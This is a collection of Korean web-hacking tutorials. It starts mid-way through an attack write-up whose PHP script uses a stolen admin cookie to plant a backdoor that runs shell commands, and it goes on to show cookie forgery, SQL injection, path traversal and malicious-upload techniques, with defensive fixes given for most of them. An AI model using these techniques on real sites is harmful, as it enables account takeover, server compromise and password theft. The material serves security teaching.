/* admin 메뉴에서 include 할 파일 정의. %2F 는 / 를 뜻함 */ $includefile = ".%2Fdata%2Fbeist.txt"; /* POST method 로 보낼 데이터. ex) head=.%2Fdata%2Fbeist.txt */ $argument = "head=$includefile"; /* POST header 에 보낼 데이터로, argument 의 길이를 저장 */ $argulength = strlen($argument); /* header 정의 */ $httpheader= /* Target 서버의 80 번 포트에 연결. 만약 연결에 실패한다면 로그 파일에 기록 */ $sock=fsockopen("$targetaddress", 80, $errno, $errstr, 30); /* 열린 소켓으로 POST header 와 argument 를 각각 보냄. */ fputs($sock, $httpheader); ?> hack.php 를 만들어 보았습니다. 소스의 기능은 주석을 참고하시기 바랍니다. 이제 이 파일을 hacker 의 서버에 올려놓습니다. hack.php 의 URL 을 다음으로 가정하겠습니다. hack.php URL - http://beist.hackerscomputer/hack.php
이제 해커는 Target ID 에게 test.txt 을 메모로 보내고, Target 이 test.txt 파일을 읽기를 기다려야 합니다. 여기서는 Cookie Sniffing by Using txt extension 문서에서 설명한 방법을 이용할 것입니다. 메모를 보내는 과정은 중요하지 않으므로, 해커가 Admin 에게 다음과 같은 내용의 메모를 보냈다고 가정하겠습니다. 아래의 화면은 Admin 의 Read Memo CGI 페이지에 들어갔을 때의 화면입니다. [화면8] http://beist.org/~beist/auto/read.html (read memo page) (6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격 Target 이 test.txt 를 읽게되면, Cookie (Session) 이 hack.php 으로 넘어가게 될 것입니다. 우리가 위에서 만든 hack.php 프로그램은, Target Web Server 로 연결하고 CGI의 Admin Menu 에서 beist.txt 를 header file 로 지정합니다. [화면10] Admin 이 test.txt 를 읽었을 때 상황 무엇인가 작동된 것 같습니다. hack.php 프로그램이 해커가 의도한대로 작동되었다면, data/head.txt 의 내용은 ./data/beist.txt 로 채워져 있어야 합니다. target 서버에서 직접 확인해보겠습니다. [beist@beist auto]$ cat data/head.txt data/head.txt 파일이 생성되었고, 파일의 내용도 ./data/beist.txt 의 값이 된 것으로 보아 성공적으로 해킹이 이루어진 것을 확인할 수 있습니다. header 파일이 data/beist.txt 로 지정되었으니, index.html 를 열때마다 beist.txt 파일이 include 될 것입니다. index.html 을 새로 고침하면, beist.txt 의 내용이 PHP 로 실행될 것이고, 성공적으로 실행된다면 data/beist.php 백도어 파일이 생성될 것입니다. 백도어 파일이 정상적으로 만들어졌는지 확인해보겠습니다. [화면11] http://beist.org/~beist/auto/data/beist.php?beist=id [backdoor 파일] id 명령어로 시스템에 명령을 내려본 결과 uid 48 의 nobody 쉘을 정상적으로 이용가능함을 확인할 수 있습니다. |
4. 마치는 말 Cookie Sniffing 자동화 공격에 대해서 알아보았습니다. 이것은 엄밀히 말하자면 Sniffing과 Spoofing이 결합된 것입니다. 이 방법은 Target 의 Cookie 를 언제 빼올 수 있을지 알 수 없는 상황에서 기다려야 할 필요가 없다는 점이 효과적이지만, 그러나 단점도 있습니다. 위의 문서에서 설명한 것처럼, hack.php 에서 Target CGI 를 공격하기 위해서는 Target CGI 의 구조에 대해서 미리 파악하고 있어야 한다는 것입니다. 위의 경우에서는 CGI 의 Admin 기능 중 header file 을 정의할 수 있다는 기능을 이용하여 공격을 한 것처럼, 사람이 직접 공격하는 방식이 아닌, hack.php 에서 자동화 공격을 하기 위해서는 CGI 의 구조에 대해서 어느 정도 알고 있어야만 공격을 성공할 수 있을 것입니다. 그렇기 때문에 공개된 CGI 의 경우에는 미리 분석을 통하여 hack.php 같은 프로그램을 이용하여 자동화 공격을 수행할 수 있겠지만 그렇지 않은 경우에는 힘들 것입니다. 그렇지만 Admin 의 Password 를 바꾼다거나, 등록된 정보를 본다거나 하는 정도의 간단한 작업들은 굳이 Target CGI 의 구조를 자세히 몰라도 가능할 수 있습니다. 이 외에, Cookie Sniffing 에 성공하게 되면, 해커에게 자동으로 메일을 보내거나, 문자 메세지를 보내거나 하는 기능의 프로그램을 만들어두는 것도 좋은 방법이 되겠습니다. 마지막으로, 이 방법은 많이 사용되고 있는 특정 CGI 를 공격할 때는, 자동화 공격이 유용할 수 있겠지만, 그래도 여러가지 요소들을 따져 보았을 때 아주 효율적인 기법이라고 생각되진 않습니다. 다만, 이러한 방법으로 공격을 자동화할 수 있다는 것, 그러므로 Session 도 안전하지 못하다라는 것을 이 문서에서는 시사하고 있습니다. 또한 이 방법을 응용할 경우 Web CGI를 공격하는 웜도 쉽게 제작할 수 있을 것입니다. |
mhtml 이 InfotechStorate 프로토콜을 이용할때 취약점을 이용한 해킹입니다
테스트해보니 지금은 보안 패치된것 같네요
하지만 이 과정을 지켜보면 웹해킹에 대한 감을 잡으실 수 있습니다 ^^
WebKnight는 AQTRONIX사(http://www.aqtronix.com/)에서 개발한 IIS 웹서버에 설치할 수 있는
공개용 웹 방화벽입니다.
WebKnight는 ISAPI 필터 형태로 동작하며, IIS 서버 앞단에 위치하여 웹서버로 전달되기 이전에 IIS 웹서버로 들어온 모든 웹 요청에 대해 웹서버 관리자가 설정한 필터 룰에 따라 검증을 하고 SQL Injection 공격 등 특정 웹 요청을 사전에 차단함으로써 웹서버를 안전하게 지켜주는 툴입니다
출처 한국정보보호진흥원(KISA)
In a Java EE application, all user input comes from the HttpServletRequest object. Using the methods in that class, such as getParameter, getCookie, or getHeader, your application can get "raw" information directly from the user's browser. Everything from the user in the HttpServletRequest should be considered "tainted" and in need of validation and encoding before use.
So it would be nice if we could add validation to the HttpServletRequest object itself, rather than making separate calls to validation and encoding logic. This way, developers would get some validation by default. This article presents an approach to building validation into the HttpServletRequest object so that it is mandatory for developers to use the validated data.
Most projects have an "allow everything" approach to validation. What we want is a Positive security model that denies everything that's not explicitly allowed. So using this approach, you can start your project with a very restrictive set of allowed characters, and expand that only as necessary.
We're going to use a Java EE filter to wrap all incoming requests with a new class that extends HttpServletRequestWrapper, a utility class designed for just this type of application. Then all we have to do is override the specific methods that get user data and replace them with calls that do validation before returning data.
The first thing to do is to create the ValidatingHttpRequest. Note that this class calls a new custom method named "validate" that throws a ValidationException if anything goes wrong. You can do a lot in the validate method, including encoding the input before it's returned to the application.
Then all we have to do is make sure that all the requests in our application get wrapped in our new wrapper. It's easy to implement with a Java EE filter.
To add the filter to our application, all we have to do is put these classes on our application's classpath and then set up the filter in web.xml.
Now all requests will go through the filter, get validated, and throw an exception if there's a problem. You'll want to set up a handler for ValidationExceptions, so that they get handled properly. If ValidationException extends SecurityException, and you've set up a handler for SecurityException that logs out users who try to hack, you'll be well on your way to a secure application.
+ Indicates a space (spaces cannot be used in a URL). %20
# Indicates bookmarks. %23
% Specifies special characters. %25
& Separator between parameters specified in the URL. %26
/ Separates directories and subdirectories. %2F
? Separates the actual URL and the parameters. %3F
MSSQL : CHAR(숫자)
ORACLE : CHR(숫자)
Log Injection
log injection이란 sql injection처럼 파라미터를 통해 로깅을 조절하는 방법을 말합니다
보통 웹 어플리케이션에서 log4j 등을 이용해 파일에 로깅을 합니다
일반적으로는 장애 발생시 에러 추적을 위해 사용됩니다
하지만 데이터 유실시 복구 방침으로 로깅을 하기도 하고요, 그냥 말 그대로 그냥 로깅을 하기도 하지요 또한 로그 파일을 파싱하여 무언가 통계를 내기도 합니다(웹CRM)
일반적으로 로그인에 대한 로깅을 파일에 다음과 같이 합니다 (로그인예가 아니더라도..)
로그가 정상적으로 기록된다면 아마 다음과 같은 형태가 될겁니다
그렇다면 로그인시 다음과 같은 문자열을 입력했으면 어떻게 될까요?
그럼 로그 결과는 다음과 같이 출력됩니다
붉은색 부분이 사용자가 입력한 부분이죠
여기서는 간단한 예를 들었습니다만 여러가지면으로 활용이 가능할 겁니다
로깅파일을 100% 신뢰할 수 없다는 것이지요 ^^
Web Hacking 1탄 SQL Injection
Web Hacking 2탄 파일조작
Web Hacking 3탄 구멍난 자바스크립트
Web Hacking 4탄 쿠키취약점
말도많고 탈도많은 쿠키!! 어떻게 사용하면 잘사용 하는걸까요?
앞으로 나오는 document.cookie등은 자동으로 "no_"앞에 가 붙습니다
Unicorn3에서 보안상 필터링하게 되어있기 때문입니다 앞에 "no_"가 없는것으로 간주하시면 됩니다
① 쿠키취약점
쿠키로 인증하는 사이트에 접속하여 로그인한 후 쿠키값 확인을 해봅니다
로그인 하지 않은 상태라면 다음과 같이 세션 아이디만 나오게 되며
로그인 한 상태라면 다음과 같이 쿠키이름과 쿠키값을 쌍으로 정보가 출력됩니다
관리자 아이디가 goodbug 라고 가정하고 이 아이디로 조작하기 위해서는 다음과 같이 입력합니다
그럼 프롬프트창이 하나 나타나며 이 부분에 다음과 같이 입력합니다
어떤 쿠키이름이 아이디를 나타내는 것일까요?
몇가지 없으니 가장 유력한 이름부터 하나씩 해보면 됩니다
다시 javascript:alert(document.cookie) 를 통해 쿠키값을 확인합니다
UID가 goodbug로 변경이 되었습니다
즉 내계정을 통해 goodbug로 로그인한것과 동일한 효과를 가져왔습니다!!
만약 쿠키로만 인증하는 방식이라면 타계정의 접속이나 관리자 화면으로 쉽게 들어갈 수 있습니다
② 쿠키를 이용한 SQL Injection
쿠키를 이용하여 일반 로그인 화면이나 관리자 화면을 통화할 수 있습니다
SQL Injection이 어느정도 알려졌기 때문에 로그인 폼으로 부터 넘어온 아이디나 비밀번호 정보들을
일정 값들로 치환하는 경우를 볼 수 있습니다
즉 '나 ", -, \ #등의 SQL Injection에 활용되는 문자들을 무력화 시키곤 합니다
하지만 이역시 쿠키 SQL Injection을 통해 간단히 통과할 수 있습니다
마찬가지 방법으로 자신의 계정으로 로그인 하여 쿠키를 생성 한 후 다음과 같이 값을 변경합니다
관리자 화면은 화면마다 아이디를 이용해 인증을 할것입니다
하지만 이 관리자 아이디를 쿠키로 읽어온다면 아마 많은 허점이 생길겁니다
보통 쿠키로 부터 읽어온 값은 '나 --등은 체크하지 않죠
그래서 인증 관련된 부분은 항상 "특정문자를 치환+Statement" 보다는 "PreparedStatement"를 사용해야 합니다
③ 쿠키취약점 보안 및 결론
-. 쿠키에 값을 구울때는 그 값을 "암호화" 하여 저장하고, 다시 읽어올때는 "역암호화"하여 사용합니다
-. 로그인시에 IP도 쿠키에 같이 구워버리고, 데이터베이스에도 저장하며, 항상 실제 아이피와 비교하여 사용합니다
-. 쿠키는 웹서버가 클라이언트에 남겨놓은 정보입니다
그래서 쿠키는 클라이언트가 마음대로 조작하는것이 가능하기때문에 서버는 어떤일이 일어나는지 검사해야 한다는 것입니다
ps. 대형사이트에서는 IDS에 걸릴수 있으니 주의하세요
=============================================
본문서는 자유롭게 배포/복사 할수 있지만
이문서의 저자에 대한 언급을 삭제하시면 안됩니다
저자 : GoodBug (unicorn@jakartaproject.com)
최초 : http://www.jakartaproject.com
=============================================
Web Hacking 1탄 SQL Injection
Web Hacking 2탄 파일조작
Web Hacking 3탄 구멍난 자바스크립트
1. 시작하기
여러분들은 사용자가 입력한 값에대해 어느정도 검증을 하는지요?
사용자 값을 이것저것 따지고 여러가지 유효성을 체크할려면 아주 귀찮은 일이 아닐수 없습니다
그중에 하나가 웹브라우져에서 실행되는 자바스크립트로 체크하는 방법이 있는데 비지니스 로직이 조금 복잡할때는 자바스크립트로 도배를 하는 경우도 종종 있지요
유효성 검증하는일 저도 정~~말 싫어합니다 하지만 해야 합니다 ㅠ.ㅠ
그럼 어디까지 그 유효성을 체크해야 할까요? 자바스크립트로만 체크하면 될까요?
처음 웹프로그래밍을 할때는 저도 자바스크립트로만 입력값을 검증하면 되는줄 알았습니다
한마디로 몰랐죠
하지만 이제는 알기때문에 자바스크립트뿐만 아니라 서버쪽에서도 동일하게 체크해 주어야 합니다
사용자가 입력한 값이 얼마나 무서운지는 앞의 1탄, 2탄의 강좌를 통해 어느정도는 감을 잡으셨으리라 생각하고 이번 강좌에서는 왜 서버쪽에서도 체크해야 하는지!에 대해 간략히 알아보겠습니다
2. 자바스크립트 체크
입력값의 자리수가 13자리인지 체크하여 맞으면 submit을 만약 그렇지 않다면 정상적인 입력값을 요구하는 입력갑검사 로직이 있다고 가정하겠습니다 그리고 서버쪽에서는 꼭 13자리가 넘어와야 정상적인 처리를 할수 있다고 하겠습니다
그럼 아래와 같은 간단한 코드가 나올겁니다
http://www.jakartaproject.com/html/input.html
실제 웹 브라우져에서 보면 아래와 같습니다
"33" 이라는 두자리 수만 입력하니 역시나 재입력을 요구하는 alert창이 떳습니다 (가끔 깜짝깜짝 놀라죠 -,-)
그럼 정상적으로 "1111111111111" 의 입력값 13자리를 입력해 보겠습니다
그리고 이 값은 process.jsp 라는곳에서 파라미터로 받아 아래와 같이 처리합니다
코드는 간단하게 그 입력값과 레퍼러 값을 보여주겠습니다
http://www.jakartaproject.com/html/process.jsp
request.getHeader("referer")는 헤더정보에서 referer값을 가져오는 함수로, 이전 페이지 주소값을 가져옵니다
그럼 화면은 아래와 같이 나옵니다
자 정상적으로 처리되었습니다
3. 자바 스크립트 우회
그럼 이제부터 자바스크립트로 입력값의 자리수 체크로직을 피해가는 방법을 알아봅시다
어떤 방법이 있을까요?
① URL로 접근
입력값이 몇가지 되지 않는다면 아래 방법이 가장 편하겠군요
즉 브라우져 주소창에다 직접 입력 합니다
아래와 같은 화면이 나올겁니다
메쏘드정보 (request.getMethod())를 찍어보니 GET 이 나오는군요!
그렇다면 이같은 직접 URL값을 막기위해 간단히 POST만 허용하는 로직을 추가해 버립시다
http://www.jakartaproject.com/html/process.jsp
이러면 괜찮겠지 흐흐.. 라고만끝나면 안됩니다
② 로컬파일로 접근
①번의 방법은 GET방식때문에 막혔습니다 그러면 자바스크립트를 우회하면서 POST방식으로 보내는 방법은 없을까요? 물론 있습니다
웹브라우져는 "소스보기" 라는 좋은 메뉴가 있습니다 있는건 적극 활용합시다 ㅎㅎ
소스보기한 후 바탕화면에 저장하여 약간 손을 보았습니다
즉 입력값을 체크하는 자바스크립트를 무력화 시키면서, action을 수정해 주었습니다
C:\Documents and Settings\Administrator\바탕 화면\client.html
웹화면은 다음과 같겠죠
"submit"버튼을 클릭합니다 ^^
역시나 자바스크립트를 거치지 않고 process.jsp에 13자리수가 아닌 "22"값을 무난히 보냈습니다
그럼 서버쪽에서는 "어이쿠 이런 헤더정보도 체크해야 겠군" 하고 다음 코드를 추가해 버릴겁니다
즉 레퍼러값이 null인 경우는 허용할수 없다는 것이죠
http://www.jakartaproject.com/html/process.jsp
그럼 위와같은 소스가 될것입니다
그럼 과연 위 소스가 안전할까요?
③ HEADER값 조작
그렇다면 HEADER값을 조작해 봅시다 어떻게 조작할 수 있을까요?
여러가지 프로그램들이 있지만 그중에 Achilles 라는 proxy server를 이용하여 조작해 보겠습니다
Achilles라는 proxy server는 웹브라우져와 서버간의 HTTP 세션을 중간에서 가로채어 원하는대로 수정한 후 보낼수 있도록 해주는 작으면서도 강력한 프로그램입니다
우선 위에서 작성한 바탕화면에 저장된 C:\Documents and Settings\Administrator\바탕 화면\client.html 를 실행한 결과를 Achilles가 Intercept한 결과입니다
여러 가지 헤더정보들이 보이며 쿠키값까지 조작할수 있습니다
하지만 위의 헤더정보에는 referer값이 없습니다 그래서 referer체크에서 null이 나와 로직에 걸립니다
그렇다면 referer정보를 추가해 줍시다
파랑색으로 줄쳐진 부분을 에디팅하여 추가해주었습니다
Referer: http://www.jakartaproject.com/html/input.html
그런다음 "Send"버튼으로 전송합니다
짠~
그러면 조작된 헤더정보를 알아채지 못하고 헤더의 referer값을 가져오는군요!
4. 서버쪽 로직 추가!
위에서 자바스크립트를 우회하는 몇가지 방법들을 알아보았습니다
결론은 하나입니다 즉! 서버쪽에서도 동일하게 체크해 주어야 합니다
그렇다면 서버쪽에서만 체크하고 클라이언트에서는 체크할 필요가 없다고 생각할지도 모르지만,
그만큼 서버쪽으로 오는 request를 줄이면 더더욱 좋겠죠
자잘한것 하나때문에 서버쪽 부하를 줄수 없는 노릇아니겠습니까?
자 이러이러 하고 저러저러한 이유로 우리는 이제부터라도 클라이언트에서는 자바스크립트로,
서버쪽에서는 또 서버쪽 스크립트로 사용자가 입력한 값에대해 유효성을 검증해야 하는것을 알았습니다
로직이 복잡한 경우 가뜩이나 자바스크립트도 복잡한데 그 로직을 서버쪽에서 다시한번 만든다는게 힘들다는거 다들 압니다 하지만 안전한 웹페이지를 만들기 위해 다같이 노력해야 되지 않겠습니까?
Web Hacking 1탄 부터 이번 3탄에 이르기까지 웹 프로그래밍 하면서 반드시 필요하고 인식해야 하는 부분에 대해 논하였습니다
마지막으로 다시한번 언급하자면 우리가 잠깐 잊고 지나가거나 혹은 귀찮아서 지나치는 사소한 부분들 때문에 엄청난 결과를 가져올 수 있다는 것입니다 미리미리 예방하고 예측해서 방지하는수 밖에 없습니다 그럼 다들 건승~!~!
이상 GoodBug였습니다~
=============================================
본문서는 자유롭게 배포/복사 할수 있지만
이문서의 저자에 대한 언급을 삭제하시면 안됩니다
저자 : GoodBug (unicorn@jakartaproject.com)
최초 : http://www.jakartaproject.com
=============================================
Web Hacking 1탄 SQL Injection
Web Hacking 2탄 파일조작
Web Hacking 3탄 구멍난 자바스크립트
1. 시작하기
해커가 하나의 웹사이트를 공격하기 위해 많은 시간을 준비한다고 했습니다
그중에 가장 먼저 하는것 중에 하나가 바로 파라미터와 그 값에대한 목록 정리 입니다
즉 타겟 웹사이트의 모든 URL 파라미터를 GET, POST등으로 정리를 합니다
http://xxxxxxxx.com/pds/list1.php?cnum=2
http://xxxxxxxx.com/pds/list2.php?cnum=2&snum=21
http://xxxxxxxx.com/view.php?fnum=104591
http://xxxxxxxx.com/bbs/bbs.php?table=bbs_sw_qna
http://xxxxxxxx.com/bbs/bbs.php?f=write&table=bbs_sw_qna
http://xxxxxxxx.com/bbs/bbs.php?f=view&table=bbs_sw_qna&fid=48610&num=85973
...
이렇게 목록화 후 분석을 해보면 해당 파라미터가 어떤 역할을 하는지 무엇을 의미하는지 80%는 파악할 수 있습니다
bbs의 f에는 write와 view 라는 값이 주어지는것을 보니 액션에 대한 글쓰기를 할것이지 아니면 글조회를 할것인지를 나타내는것으로 보이며 table이라는 컬럼은 아마도 물리적 table이름을 말하는것 같군요
cnum은 아마도 카테고리 번호를 의미하는것이고 snum은 소카테고리번호를, num은 게시물 글번호를 의미하는것으로 추정됩니다
그럼 이 프로그램들이 어떻게 돌아가는지 대강 파악이 되고 이제부터 취약점이 있는지 체크해 나가보는겁니다
파라미터명이나 값에대해서는 유추할수 없이 프로그램 한다면 아마도 조금은 더 보안적으로 안전할 것입니다
다음은 파라미터로 적절치 않은 값을 넘겨주는 예를 알아볼 것이며, 파일 업로드, 다운로드 취약점에 대해 공부해 보겠습니다 ^^
2. 동적 파일 로딩 취약점
동적으로 어떤 특정 파일을 열어 그 파일 내용을 웹에서 보여주는 jsp가 있다고 합시다
대량의 html이나 txt 파일들을 읽어 웹에서 보여주는 로직들이 많지요 (저도 많이 썼습니다 -_-;)
동적으로 그 파일에 대한 정보를 파라미터로 읽어온다면 어떻게 될까요?
다음과 같은 요청을 보낸다면..
/ROOT/sample.txt 파일을 정상적으로 로딩하여 보여줄겁니다
하지만 다음과 같이 값을 준다면 어떻게 될까요?
저런 --; 시스템 파일들이 몽땅 조회가 되는군요..
Unix 계열이라면
상위 디렉토리로 이동하면서 크래커는 passwd file을 볼수 있습니다
앗 여기서 다들 뜨끔 하신가요? 저만 그러나 ^^;
그럼 어떻게 처리해야 할까요? ../ 만 막아선 될까요?
Unix에서는 ./.\. 도 상위로 가는 명령이죠
아시겠지만 cd ./.\. 하면 한단계 위로 올라간답니다
그러니 ../ 뿐만아니라 ./.\. 도 같이 막을수 있도록 파라미터 확실히 체크를 해야 합니다
3. 동적 include 파일 취약점
그럼 include는 어떨까요? 위처럼 동적으로 include 할 파일명을 받아 처리하는 구조 말이지요
라고 요청을 날렸습니다
네 정상적으로 sample.txt를 가지고 왔습니다
하지만 다음과 같은 요청이 가면 어떨까요?
네 역시나 기대를 저버리지 않고 web.xml을 기냥 출력해 버리는군요 (여기서 알아보기 쉽게 <를 나타나게 하였습니다)
문제는 /WEB-INF/ 밑에 기타 중요한 properties (데이터에비스 설정 properties)가 있다면 낭패입니다
그럼 어떻게 해야 할까요? 역시나 파라미터값을 필터링 하는수 밖에 없습니다
그래도 이정도면 약과 입니다 -_-;
다음을 보도록 하지요
JSP에서 include에는 대략 4가지 방법이 있습니다
① <%@ include file="sample.jsp" %>
② <jsp:include page="sample.jsp" flush="true" />
③ pageContext.include("sample.jsp")
④ <c:import url="sample.jsp" />
이 4가지가 무순 차이가 있을까요?
차이점을 쓸려다 보니 이번 강좌와 좀 동떨어지는것 같아 그건 제외하고 --;
문제는 동적으로 페이지가 include가 가능 하냐입니다
이점에서는 ①은 동적으로 설정이 가능하지 않으므로 안전한 include입니다 (서버측 include이니 당연합니다)
그럼 ②과 ③은 어떨까요? include할 페이지 설정이 동적으로 가능합니다
그래서 위와 같은 문제점이 있지요
하지만 ②, ③은 확장자가 jsp에만 반응을 하고 확장자가 jsp가 아닐 경우에는 그냥 텍스트로 include를 처리해 버립니다
④번은 좀 특이합니다 물론 동적으로도 가능하며 리모트로도 가능하다는 것입니다
어떻게 될까요?
그나마 다행인것이 test.jsp 파일을 가지고 와서 서버에서 실행되는 것이 아니라 리모트에서 실행된후의 html 결과물만을 가지고 오는군요 그렇지 않으면 악성 스크립트를 활용할수있는 좋은 구멍 이었을텐데 말입니다 ^^;
다음표로 include 4가지 특성을 정리하였습니다
유형 |
동적 실행 |
jsp 확장자에 반응 |
리모트 실행여부 |
<%@ include= |
N |
확장자에 상관없이 JSP로 실행 |
N |
<jsp:include= |
Y |
확장자가 JSP만 JSP로 실행 |
N |
pageContext.include |
Y |
확장자가 JSP만 JSP로 실행 |
N |
<c:import url= |
Y |
확장자가 JSP만 JSP로 실행 |
Y |
3. 파일 업로드 취약점
해커가 가장 많이 이용하고 좋아하는 취약점이 바로 이 파일 업로드입니다
이 부분은 누차 강조되어왔던 부분이라 대부분 아실겁니다
php 서버에는 php파일이, asp서버에는 asp파일이, jsp 서버에는 jsp파일이 업로드 되어서는 안됩니다
즉 서버에서 실행 가능한 파일을 올려선 안된다는 겁니다
악성 스크립트 침투 시나리오
① 악성 jsp 코드가 들어있는 test.jsp 파일을 글쓰기 화면을 통해 첨부 파일로 업로드 합니다
② 업로드 디렉토리가 /upload/ 라고 가정한다면 (업로드 디렉토리를 찾는건 그리 어렵지 않습니다)
/upload/test.jsp 파일이 첨부파일을 통해 업로드 되었습니다
③ URL로 그 파일을 요청합니다 http://localhost/upload/test.jsp
그러면 악성 코드가 들어있는 첨부파일이 웹서버에서 실행되어 버립니다
test.jsp 파일이 서버의 파일을 모두 삭제하는 스크립트라면 큰일이지요
④ 혹은 include 취약점을 이용해서 업로드한 스크립트를 include 시켜 실행 하기도 합니다
4. 파일 다운로드 취약점
간단한 jsp에서 일반적으로 사용하는 파일 다운로드 코드입니다
이역시 물리적 파일명 자체를 파라미터로 전달하고 있으며 이를 받아 파일을 다운로드 시키고 있습니다
무엇이 잘못되었을까요?
다음과 같이 URL을 요청해 봅시다
그려면 요청한 web.xml 이 다운로드 됩니다
즉 이말은 웹 어플리케이션의 모든 파일(소스)을 다운로드해 볼수 있다는 것입니다
소스를 보게 된다면 웹해킹이 물론 더 쉬워지겠지요?
5. 업로드 및 다운로드 취약점 개선 시나리오
① 악성 jsp 코드가 들어있는 test.jsp 파일을 글쓰기 화면을 통해 첨부 파일로 업로드 합니다
② /upload/test.jsp 로 업로드 후 파일명을 변경해 버립니다
/upload/200601171137507804462_jsp 로 변경해 버립시다
단순히 파일명만 변경해선 안됩니다 확장자도 제거해 버려야 합니다
업로드 후 파일의 확장자가 두개 이상이던지, "." 이 이유없이 많다던지, "/" 나 "\" 캐릭터가 파일명에 있으면 부적절한 파일로 간주하고 지워버립시다
그리고 200601171137507804462_jsp 명과 실제 파일명을 같이 데이터베이스에 저장합니다
③ URL로 그 파일을 요청합니다 http://localhost/upload/test.jsp
당연히 파일이 존재하지 않음으로 Not Found가 나올것입니다
④ 그럼 다음 URL로 요청해 봅시다 http://localhost/upload/200601171137507804462_jsp
어떻게 될까요?
jsp 코드는 실행되지 않고 text로 jsp 코드를 그냥 브라우져에 뿌리게 됩니다
즉 아무 상관이 없다는 것입니다
200601171137507804462_jsp 도 유저에게 보여주어서는 안됩니다
해당 URL 조차 허용하고 싶지 않다면 아래 web.xml에 security 제한을 둡시다
그러면 http://localhost/upload/200601171137507804462_jsp 은 다음과 같은 메세지를 뿌립니다
그리고 파일 다운로드는 직접파일 링크가 아니라 response의 ouputStream을 통해 다운로드 시킵시다
키값을 가지고 200601171137507804462_jsp 명을 얻어 다운로드 할수 있도록 프로그램 해야 합니다
즉 다운로드 시킬때도 물리적 파일명을 파라미터로 전달하지 말고 해당 키값을 전달해서 파일명을 데이터베이스에서 얻어오도록 합니다
ps. 이런 취약점 때문만은 아니겠지만 업로드한 파일을 파일 시스템으로 저장하지 않고 데이터베이스에 직접 저장하기도 합니다
6. SQL Injection으로 인한 결과물을 파일로저장하여 다운받아 볼 수 있습니다
앞에서 살펴본 SQL Injection을 예를들어봅시다
아래 코드는 게시물 번호를 파라미터로 입력받아 해당 글번호를 조회하는 코드입니다
아래와 같은 코드가 있다고 한다면 UNION SQL Injection 피해를 볼수 있다고 하였습니다
데이터베이스가 MySQL 이라고 한다면 URL 요청이 다음과 같다면 어떻게 될까요?
다음과 같이 에러 메세지가 납니다 하지만.. hack.txt란 파일은 생성이 됩니다
즉 user의 모든 아아디 비밀번호를 간편하게 파일로 다운받아 보는겁니다
그 다음 http://localhost:8080/upload/hack.txt 로 user_t 테이블에 있는 모든 사용자아이디와 비밀번호를 텍스트로 받아볼 수 있습니다. 아마 이방식으로 유저 아뒤/비번 많이 빼내신분들 많으실 겁니다 ㅎㅎ
톰캣 설치 경로는 어떻게 알까요?
톰캣설치경로 대부분 비슷할 겁니다 몇가지 해보면 금방 알수 있습니다
7. 마무리
그렇다면 어떻게 해야 이러한 피해를 최소화 할 수 있을까요? 나름데로 생각해 보았습니다
① 파라미터와 파라미터값에 대해 알아볼 수 없도록 최소한의 의미만 부여한다!!
역시나 파라미터가 중요합니다 누구나 알아볼 수 있도록 하는 의미보다는 나름데로
Naming rule을 정한다든지 암호화 하든지 하는것도 바람직 할 수 있다고 봅니다
② 파라미터값이 유효한 값인지 체크해 봅니다
파라미터값을 최대값, 최소값으로 제한하고 꼭 있어야 하는 문자열이나 꼭 없어도 되는 문자열등을 체크합니다
파라미터값 길이또한 최대, 최소값 제한을 둡니다
③ 중요한 파라미터 값은 (파일명같은..) 절대로 받지 않고 다른 로직으로 생각해 봅시다
파일명같은 중요한 값은 데이터베이스에 입력해 놓고 키값을 파라미터로 전달받아 파일명을 조회한 후 사용합니다
④ 웹프로그램의 취약점 분석 툴들이 찾아보면 몇개 있습니다(대부분 유로더군요) 이를 이용하여 테스트해 봅니다
두서없이 생각나는데로 적었습니다
그나마 JSP는 다른 PHP나 ASP에 비해 상당히 보안에 안정적입니다 JDBC 마다 틀리겠지만요
해결 방법이 생각해 보면 더 많을겁니다 물론 서버단에서 막는 방법이 제일 좋겠지만요 몇가지 사례를 적어놓았으니 그다음은 응용하기에 달렸지요
방어는 이제 여러분 몫입니다 ㅡ0ㅡ;
뚫느냐 뚫리느냐 그것이 문제로다~
=============================================
본문서는 자유롭게 배포/복사 할수 있지만
이문서의 저자에 대한 언급을 삭제하시면 안됩니다
저자 : GoodBug (unicorn@jakartaproject.com)
최초 : http://www.jakartaproject.com
=============================================